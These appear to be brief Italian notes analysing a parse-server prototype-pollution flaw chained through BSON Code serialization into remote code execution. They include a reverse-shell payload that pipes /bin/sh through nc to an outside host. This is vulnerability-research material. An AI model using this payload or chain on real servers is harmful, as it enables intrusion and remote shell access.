



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPathDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult viene usato quando si aggiunge (add) o si aggiorna (update) una nuova classe. Tuttavia, perché la prototype pollution sia possibile, deve essere soddisfatta la condizione che la keyUpdate __op appartenga a ['Add', 'AddUnique', 'Remove', 'Increment']
Pertanto, i valori del prototipo possono essere solo array o number


Esempio di richiesta:

serialize della libreria BSON; quando _bsontype è Code, viene eseguito serializeCode
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] -> bypass fino alla funzione isolateEval"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath arriva dopo la deserializzazione, è necessario eseguire ripetutamente la race condition affinché possa essere innescata quando si arriva a isolateEval